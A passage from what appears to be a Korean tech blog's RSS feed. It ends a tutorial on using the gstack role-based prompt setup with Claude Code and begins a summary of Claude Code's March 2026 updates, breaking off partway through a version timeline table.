&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: 실제 사용 &amp;mdash; 모드 명시적 전환&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code 대화에서 역할을 명시적으로 선언하고 시작한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot; data-ke-language=&quot;bash&quot;&gt;
&lt;pre class=&quot;1c&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 사용 예시

# 기획 단계
&quot;[PM 모드] 사용자 소셜 로그인 기능을 추가하려 한다.
CLAUDE.md의 PM 모드 지침에 따라 분석해줘.&quot;

# 아키텍처 단계
&quot;[아키텍처 모드] 소셜 로그인 기능 구현 방법을 설계해줘.
데이터 플로우 다이어그램과 에지 케이스 목록을 포함해줘.&quot;

# 리뷰 단계
&quot;[리뷰 모드] 방금 작성한 소셜 로그인 코드를 검토해줘.
CI를 통과하더라도 프로덕션에서 문제가 될 수 있는 부분을 중심으로.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;gstack과 나만의 셋업, 뭘 선택해야 하나?&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;추천&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;빠르게 시작하고 싶다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack 그대로 설치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;브라우저 자동화 QA가 필요하다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack (/browse, /qa)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;팀과 공유하고 일관성이 중요하다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack 팀 설치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;내 프로젝트 특성에 맞게 커스터마이징하고 싶다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;나만의 역할별 CLAUDE.md&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Bun 설치가 번거롭다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;나만의 역할별 CLAUDE.md (단순 텍스트)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;병렬 에이전트 실행이 필요하다&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack + Conductor&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 10: 결론 ===== --&gt;
&lt;h2 id=&quot;section12&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언제 쓰고, 언제 쓰지 않는가?&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;gstack 추천 여부&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;혼자 개발하는 스타트업 MVP&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;강력 추천&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;CEO&amp;middot;EM&amp;middot;QA 역할을 혼자 수행해야 할 때 가장 큰 가치를 발휘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;팀의 AI 도구 활용 격차가 큰 경우&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;추천&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;표준화된 워크플로우로 일관된 품질 바닥선 확보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Codex 리밋 소진 시 대안 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;추천&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack + Claude Code로 계획&amp;middot;리뷰&amp;middot;QA 파이프라인 유지 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;빠른 프로토타이핑만 필요한 경우&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;선택적&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;계획 단계가 오버헤드일 수 있음. /office-hours만 가볍게 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;이미 자체 CLAUDE.md가 잘 갖춰진 팀&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;선택적&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;gstack의 철학을 참고하되, 기존 셋업에 필요한 부분만 차용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;AI 코딩 도구를 처음 접하는 입문자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;주의&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;Claude Code 자체에 먼저 익숙해진 후 도입하는 것이 적합&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 플레이북&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;오늘:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/garrytan/gstack&lt;/a&gt; README를 읽고 &lt;code&gt;/office-hours&lt;/code&gt; 한 번 실행해본다. 현재 프로젝트의 가정을 도전해볼 기회다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;이번 주:&lt;/b&gt; &lt;code&gt;/plan-ceo-review&lt;/code&gt; &amp;rarr; &lt;code&gt;/plan-eng-review&lt;/code&gt; &amp;rarr; &lt;code&gt;/review&lt;/code&gt; 파이프라인을 실제 기능 개발에 적용한다. 역할 분리가 결과물에 어떤 차이를 만드는지 체감한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;운영 반영:&lt;/b&gt; 팀에 맞게 포크하고 커스터마이징한다. Garry Tan도 &quot;Fork it. Improve it. Make it yours.&quot;라고 권한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 진정한 가치는 29개 프롬프트가 아니라, &lt;b&gt;&quot;개발 프로세스를 명시적으로 구조화한다&quot;는 사고방식&lt;/b&gt;이다. 프롬프트는 시간이 지나면 바뀌겠지만, 역할 분리와 구조화된 리뷰라는 원칙은 어떤 AI 도구를 쓰든 유효하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;&lt;b&gt;참고 자료:&lt;/b&gt;&lt;br /&gt;- &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack GitHub 레포지토리&lt;/a&gt;&lt;br /&gt;- &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/docs/skills.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack 스킬 전체 목록&lt;/a&gt;&lt;br /&gt;- &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://techcrunch.com/2026/03/17/why-garry-tans-claude-code-setup-has-gotten-so-much-love-and-hate/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch: Why gstack has gotten love and hate&lt;/a&gt;&lt;br /&gt;- &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.producthunt.com/products/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Product Hunt: GStack&lt;/a&gt;&lt;br /&gt;- &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/openai/codex/discussions/2251&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Usage Limits 토론&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Skills</category>
      <category>ai 코딩 에이전트</category>
      <category>claude code</category>
      <category>codex cli</category>
      <category>Garry Tan</category>
      <category>gstack</category>
      <category>gstack 설치</category>
      <category>gstack 튜토리얼</category>
      <category>Harness Engineering</category>
      <category>YC CEO</category>
      <category>하네스</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/570</guid>
      <comments>https://goddaehee.tistory.com/570#entry570comment</comments>
      <pubDate>Mon, 30 Mar 2026 22:00:01 +0900</pubDate>
    </item>
    <item>
      <title>Claude Code 3월 폭풍 업데이트(v2.1.59~87 업데이트) 정리 - 한 달간 20개 릴리스, Auto Memory부터 1M 컨텍스트까지</title>
      <link>https://goddaehee.tistory.com/569</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2598&quot; data-origin-height=&quot;1404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRMKdl/dJMcafTAS2H/9scBtY4Qmf83D3YFT0XZy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRMKdl/dJMcafTAS2H/9scBtY4Qmf83D3YFT0XZy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRMKdl/dJMcafTAS2H/9scBtY4Qmf83D3YFT0XZy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRMKdl%2FdJMcafTAS2H%2F9scBtY4Qmf83D3YFT0XZy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2598&quot; height=&quot;1404&quot; data-origin-width=&quot;2598&quot; data-origin-height=&quot;1404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude Code가 3월 한 달간 폭풍 업데이트를 했다. v2.1.59~v2.1.87(3월 : v2.1.66~87)까지 대략적으로 정리해보려 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Auto Memory의 탄생부터, /loop 크론 스케줄링, Opus 4.6 1M 컨텍스트, Voice STT 20개 언어 지원, 트랜스크립트 검색, 팀별 정책 관리, 반응형 훅, 조건부 훅 실행, 훅 headless 통합까지 &amp;mdash; &quot;Claude Code가 어떻게 달라졌는가&quot;를 테마별로 정리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이번 업데이트의 핵심은 명확하다: &lt;b&gt;검색이 가능해졌고, 팀 관리가 쉬워졌고, 긴 세션이 안정적이 되었다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;버전 타임라인 (v2.1.59 &amp;rarr; v2.1.87)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Auto Memory &amp;mdash; Claude가 기억하기 시작하다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Opus 4.6 + 1M 컨텍스트 &amp;mdash; 모델의 체급 변화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;/loop &amp;amp; 크론 &amp;mdash; 세션 내 자동화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Voice Mode &amp;mdash; 20개 언어, 키바인딩, 안정화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;개발자 도구 &amp;mdash; /simplify, /batch, /plan, /context&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;플러그인 &amp;amp; 훅 생태계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;성능 &amp;amp; 메모리 &amp;mdash; 13건의 누수를 잡다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;보안 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;검색 &amp;amp; 네비게이션 &amp;mdash; 드디어 대화를 찾을 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;팀 &amp;amp; 엔터프라이즈 &amp;mdash; 조직 정책 관리의 진화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;훅 시스템 &amp;mdash; 반응형 자동화의 확장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;플러그인 &amp;amp; MCP &amp;mdash; 보안과 확장성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;성능 &amp;amp; 안정성 &amp;mdash; 긴 세션의 고질병 해결&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;개발자 경험(DX) &amp;mdash; 작은 것들이 모여 큰 차이&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;훅 진화 2.0 &amp;mdash; 조건부 실행과 headless 통합 (v2.1.85~87)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;성능 &amp;amp; DX &amp;mdash; 스크롤 엔진 교체, Read 최적화, 스킬 UX&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;안정성 대수술 &amp;mdash; v2.1.85~87의 주요 버그 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Code v2.1.59~v2.1.87 업데이트 요약&lt;/b&gt;&lt;br /&gt;24개 릴리스의 핵심: &lt;b&gt;Auto Memory&lt;/b&gt;(세션 간 학습), &lt;b&gt;Opus 4.6 1M 컨텍스트&lt;/b&gt;, &lt;b&gt;/loop 크론&lt;/b&gt;, &lt;b&gt;Voice STT 20개 언어&lt;/b&gt;, &lt;b&gt;트랜스크립트 검색&lt;/b&gt;(Ctrl+O &amp;rarr; /), &lt;b&gt;팀별 정책 관리&lt;/b&gt;(managed-settings.d/), &lt;b&gt;반응형 훅&lt;/b&gt;(CwdChanged/FileChanged), &lt;b&gt;플러그인 Keychain 보안&lt;/b&gt;. &lt;br /&gt;출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 공식 CHANGELOG&lt;/a&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 버전 타임라인&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;버전&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주요 헤드라인&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.59&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Auto Memory 시작&lt;/b&gt;, /copy 인터랙티브 피커&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.61~62&lt;br /&gt;&lt;span style=&quot;color: #999; font-size: 12px;&quot;&gt;(v2.1.60: CHANGELOG 항목 없음)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Windows 설정 동시 쓰기 수정, 프롬프트 캐시 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.63&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/simplify, /batch&lt;/b&gt;, HTTP 훅, 워크트리 Auto Memory 공유, 13건 메모리 누수 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.66&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;에러 로깅 축소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.68&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Opus 4.6 기본 medium effort&lt;/b&gt;, ultrathink 키워드 재도입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.69&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Voice STT 20개 언어&lt;/b&gt;, InstructionsLoaded 훅, /claude-api 스킬, gitignore 보안 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.70&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;3P 게이트웨이 호환성, CJK 클립보드, 렌더링 74% 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.71&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;/loop 크론 스케줄링&lt;/b&gt;, voice 키바인딩, stdin 프리즈 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.72&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;/plan 설명 인자, ExitWorktree, effort 단순화 (○◐●), 번들 -510KB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.73&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;modelOverrides, /loop Bedrock/Vertex 수정, 기본 모델 Opus 4.6으로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;v2.1.74&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;/context 최적화 제안, autoMemoryDirectory 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.75&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Opus 4.6 1M 컨텍스트 기본&lt;/b&gt;, /color, 메모리 타임스탬프&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.76&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;MCP elicitation, gitignore 스킬 보안 수정, Elicitation/ElicitationResult 훅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.77&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;Opus 4.6 출력 64k/상한 128k, /fork&amp;rarr;/branch, --resume 최대 45% 빨라짐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.78&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;StopFailure 훅, 라인별 스트리밍, 플러그인 persistent data, 보안 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.79&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;--console 인증, /btw 수정, 메모리 -18MB, VSCode Remote Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.80&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;rate_limits 상태바, --channels 프리뷰, settings 플러그인 소스, 250k파일 -80MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.81&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;--bare 플래그, --channels 권한 릴레이, MCP 도구 접기 UI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.82&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;(공개 CHANGELOG에 항목 없음 &amp;mdash; 스킵된 버전)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.83&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;트랜스크립트 검색, managed-settings.d/, CwdChanged 훅, 플러그인 Keychain&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;v2.1.84&lt;/b&gt;&lt;/td&gt;
